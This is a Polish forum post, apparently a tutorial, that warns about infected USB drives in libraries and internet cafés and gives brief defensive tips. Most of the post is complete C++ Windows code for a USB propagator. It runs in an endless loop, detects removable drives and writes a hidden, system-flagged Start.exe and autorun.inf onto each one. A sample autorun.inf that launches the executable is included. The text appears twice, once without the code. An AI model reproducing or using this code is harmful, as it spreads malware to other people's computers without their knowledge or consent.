grzonu
Były Moderator
- Dołączył
- Grudzień 26, 2006
- Posty
- 1390
Zagrożenia w miejscach publicznych – chroń swój pendrive
Niewiele osób zdaje sobie sprawe jak niebezpieczne jest używanie własnego pendriva w miejscach publicznych takich jak:
• Biblioteki
• Kafejki internetowe
• Szkolna pracownia internetowa
Tego typu miejsca są wylęgarnią dla wszelkiego typu robactwa, nie znaczy ze mamy nie używać pendrive w takich miejscach, należy tylko zachować pewną ostrożność.
Jeśli podłączamy nasz pendrive do naszego komputera po wizycie np. w bibliotece nie włączajmy go klikając na niego 2x lewym przyciskiem myszy gdyż powoduje to włączenie autorunu i infekcje naszego komputera o ile pendrive jest zarażony, dużo lepszym wyjściem jest kliknąć na niego prawym przyciskiem myszy i kliknąć otwórz- wtedy autorun się nie uruchomi. Pyzatym należy włączyć pokazywanie plików ukrytych i systemowych naszym systemie. Robimy to przez klikniecie na Narzędzia -> Opcje folderów -> Widok.
Zaznaczamy tam Pokaż ukryte pliki i foldery a także odznaczamy Ukryj chronione pliki systemu windows od teraz będziemy widzieć pliki, które ktoś umieścił na naszym pendrive bez naszej wiedzy i zgody.
Pokaże teraz jak łatwo napisać program który po podłączeniu pendrive do PC automatycznie skopiuje na niego autorun + program, aby pokazać, że wcale nie jest to takie trudne i że naprawdę możemy stać się ofiarą takiego ataku.
Na początku dołączamy pliki nagłówkowe takie jak:
Napiszmy teraz funkcje która znajdzie wszelkie pendrivy podlaczone do PC
Teraz czas na inne potrzebne nam funkcje
A ten kod umieszczamy wewnatrz main:
Na koniec do projektu musimy dodać zasoby ale tego już nie będę tu opisywał gdyż można to znaleźć w google
Przykładowy plik autorun:
Taki plik umieszczamy w zasobach pod numerem 1006 a plik exe, który ma być uruchamiany pod numerem 1005
Mam nadzieje, że artykuł przekonał was do tego aby uważać na swoje pendrivy
Artykuł pochodzi ze strony http://grzonu.pl
//jesli sie nada prosze o przeniesienie do tutoriali
Niewiele osób zdaje sobie sprawe jak niebezpieczne jest używanie własnego pendriva w miejscach publicznych takich jak:
• Biblioteki
• Kafejki internetowe
• Szkolna pracownia internetowa
Tego typu miejsca są wylęgarnią dla wszelkiego typu robactwa, nie znaczy ze mamy nie używać pendrive w takich miejscach, należy tylko zachować pewną ostrożność.
Jeśli podłączamy nasz pendrive do naszego komputera po wizycie np. w bibliotece nie włączajmy go klikając na niego 2x lewym przyciskiem myszy gdyż powoduje to włączenie autorunu i infekcje naszego komputera o ile pendrive jest zarażony, dużo lepszym wyjściem jest kliknąć na niego prawym przyciskiem myszy i kliknąć otwórz- wtedy autorun się nie uruchomi. Pyzatym należy włączyć pokazywanie plików ukrytych i systemowych naszym systemie. Robimy to przez klikniecie na Narzędzia -> Opcje folderów -> Widok.
Zaznaczamy tam Pokaż ukryte pliki i foldery a także odznaczamy Ukryj chronione pliki systemu windows od teraz będziemy widzieć pliki, które ktoś umieścił na naszym pendrive bez naszej wiedzy i zgody.
Pokaże teraz jak łatwo napisać program który po podłączeniu pendrive do PC automatycznie skopiuje na niego autorun + program, aby pokazać, że wcale nie jest to takie trudne i że naprawdę możemy stać się ofiarą takiego ataku.
Na początku dołączamy pliki nagłówkowe takie jak:
Kod:
#include <windows.h>
#include <string>
#include <vector>
Napiszmy teraz funkcje która znajdzie wszelkie pendrivy podlaczone do PC
Kod:
void GetPendrives(std::vector<std::string>* pendrives)
{
char* bufor=new char[1024];
DWORD need=GetLogicalDriveStrings(1024,bufor);//pobieramy litery dyskow
if(need > 1024)//jesli bufor jest za maly alokujemy bufor o odpowiedniej dlugosci
{
delete bufor;
bufor=new char[need];
GetLogicalDriveStrings(need,bufor);
}
int n=need/4; // ilosc dyskow
std::string* dyski=new std::string[n];
int i=0;
while(i<n)
{
dyski[i]=(char*)(bufor+(i*4));
i++;
}
pendrives->clear();//usuwamy wszystko co jest w vectorze
i=0;
while(i<n)
{
if(GetDriveType(dyski[i].c_str())==DRIVE_REMOVABLE)//sprawdzamy ktore dyski sa pendrivami
{
pendrives->push_back(dyski[i]);
}
i++;
}
}
Teraz czas na inne potrzebne nam funkcje
Kod:
bool FindInVector(const char* str,std::vector<std::string> vec)//funkcja ktora sprawdza czy pojawil sie nowy pendrive
{
int n=vec.size();
int i=0;
while(i<n)
{
if(vec[i]==str)
{
return true;
}
i++;
}
return false;
}
bool ExtractExe(char* id, char *filename)//funkcja wypakowujaca plik z zasobow
{
bool result = false;
HRSRC hResource=NULL;
hResource = FindResource(GetModuleHandle(NULL),id , RT_RCDATA);
if(!hResource)
{
return result;
}
if( hResource != NULL ){
HGLOBAL hLoader = LoadResource(NULL,hResource);
if( hLoader != NULL ){
byte *data = (byte *)LockResource(hLoader);
DWORD len = SizeofResource(NULL,hResource);
if( data != NULL && len > 0 ){
HANDLE hFile = CreateFile(filename,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);
if( hFile != INVALID_HANDLE_VALUE ){
DWORD written = 0;
int write = WriteFile(hFile,
data,
len,
&written,
NULL);
if( len == written && write == TRUE )
result = true;
}
CloseHandle(hFile);
}
UnlockResource(hLoader);
}
FreeResource(hLoader);
}
return result;
}
A ten kod umieszczamy wewnatrz main:
Kod:
std::vector<std::string> vec;
GetPendrives(&vec);
int i=0;
while(i<vec.size())
{
//w tym momecie wypakowujemy na wszystkie pendrivy nasz plik
//przyjmujemy ze nasz exe ma w zasobach numer 1005 a autorun 1006
std::string exe=vec[i];
std::string autorun=vec[i];
exe+="Start.exe";
autorun+="autorun.inf";
ExtractExe(MAKEINTRESOURCE(1005),(char*)exe.c_str());//wypakowujemy
ExtractExe(MAKEINTRESOURCE(1006),(char*)autorun.c_str());//wypakowujemy
SetFileAttributes(exe.c_str(),FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);//ustawiamy atrybut ukryty i systemowy
SetFileAttributes(autorun.c_str(),FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);//ustawiamy atrybut ukryty i systemowy
i++;
}
std::vector<std::string> tmp;
int n=0;
i=0;
while(1)//nieskonczona petla ktora sprawdza czy nie pojawiły się nowe pendrivy
{
GetPendrives(&tmp);
n=tmp.size();
i=0;
while(i<n)
{
if(!FindInVector(tmp[i].c_str(),vec))
{
//w tym momecie wypakowujemy na ten dysk nasz plik
//przyjmujemy ze nasz exe ma w zasobach numer 1005 a autorun 1006
std::string exe=tmp[i];
std::string autorun=tmp[i];
exe+="Start.exe";
autorun+="autorun.inf";
ExtractExe(MAKEINTRESOURCE(1005),(char*)exe.c_str());//wypakowujemy
ExtractExe(MAKEINTRESOURCE(1006),(char*)autorun.c_str());//wypakowujemy
SetFileAttributes(exe.c_str(),FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);//ustawiamy atrybut ukryty i systemowy
SetFileAttributes(autorun.c_str(),FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);//ustawiamy atrybut ukryty i systemowy
}
i++;
}
vec=tmp;
Sleep(10000);
}
Na koniec do projektu musimy dodać zasoby ale tego już nie będę tu opisywał gdyż można to znaleźć w google
Przykładowy plik autorun:
Kod:
[autorun]
OPEN=Start.exe
shellexecute=Start.exe
shell=Auto
shell\Auto=&Autoplay
shell\Auto\command=Start.exe
Taki plik umieszczamy w zasobach pod numerem 1006 a plik exe, który ma być uruchamiany pod numerem 1005
Mam nadzieje, że artykuł przekonał was do tego aby uważać na swoje pendrivy
Artykuł pochodzi ze strony http://grzonu.pl
//jesli sie nada prosze o przeniesienie do tutoriali